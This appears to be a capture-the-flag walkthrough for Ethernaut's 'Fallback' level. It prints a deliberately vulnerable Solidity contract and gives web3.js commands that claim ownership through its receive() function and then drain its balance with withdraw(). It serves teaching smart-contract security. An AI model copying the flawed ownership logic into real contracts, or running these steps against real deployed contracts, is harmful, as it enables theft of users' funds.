# 2. Fallback

Ethernaut2: [Fallback](https://ethernaut.openzeppelin.com/level/0x2a24869323C0B13Dff24E196Ba072dC790D52479)

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}
```

### Goal of this level

* claim ownership of the contract
* reduce its balance to 0

<details>

<summary>Key  for this problem  ðŸ”‘</summary>

using `recieve` function

</details>

## You must know before

* Sending transactions using `web3.js` **** \
  ****-> see [here](https://stackoverflow.com/questions/52740950/how-to-send-wei-eth-to-contract-address-using-truffle-javascript-test)
* Understanding concept of `fallback()` and `receive()` function \
  \-> see [here](https://www.youtube.com/watch?v=CMVC6Tp9gq4)

## Walkthrough

{% hint style="info" %}
Don't forget!

Not only do we need to claim **ownership** of the contract, but also we have to **reduce** the **balance** of the contract to `0`!\
\
We first will modify the value of`owner` variable, and then we will **drain** the contract.
{% endhint %}

### 1. Claming Ownership

We first have to modify the value of `owner` variable.

Let's see which functions modify `owner` variable.

```solidity
function contribute() public payable {
  require(msg.value < 0.001 ether);
  contributions[msg.sender] += msg.value;
  if(contributions[msg.sender] > contributions[owner]) {
    owner = msg.sender; // here
}
```

```solidity
receive() external payable {
  require(msg.value > 0 && contributions[msg.sender] > 0);
  owner = msg.sender; // and here
}
```

#### 1) `contribute()` function

Let's check out `contribute` function first.

To modify the value of `owner` variable, we must contribute more than the original owner did.

Let's check how much he contributed!

```javascript
const owner = await contract.owner();

await contract.contributions(owner).then((v) => v.toString());

// '1000000000000000000000'
```

Wow, `1000 ETH`!

It seems even if we have more than `1000 eth`, we won't be  able to pass the require statement.

Let's check out `receive` function for next.

#### &#x20;

#### 2) `receive()` function

`receive()` function is checking if msg.sender sent over `0 wei`  and if he contributed more then `0 wei`.

Seems we can use both to solve the problem!

#### &#x20;

#### 3) Let's claim the ownership!

```javascript
// You can send any value between 0 and 0.001 ether
await contract.contribute({ value: 3 });
```

Here we can make our contribution to be bigger than `0`.

Now, let's modify `owner` variable.

```javascript
// Here, since there's no require statement,
// you can send any value bigger than 0.
await contract.sendTransaction({ value: 3 });
```

Because `receive()` function only checks if `msg.value` is bigger than 0 wei and if `msg.sender` contributed more than 0 wei, we can easily satisfy both conditions.

Let's check if it works ðŸ˜Ž

```javascript
await contract.owner();
```

### &#x20;

### 2. Reducing balance of the contract to 0

```solidity
function withdraw() public onlyOwner {
  payable(owner).transfer(address(this).balance);
}
```

Since now we have **ownership** of the contract, we can **withdraw** all the balance of the contract.

```javascript
await contract.withdraw();
```

Let's check if we successfully drained the contract.

```javascript
await web3.eth.getBalance(contract.address); // 0
```

Done! ðŸ˜Ž

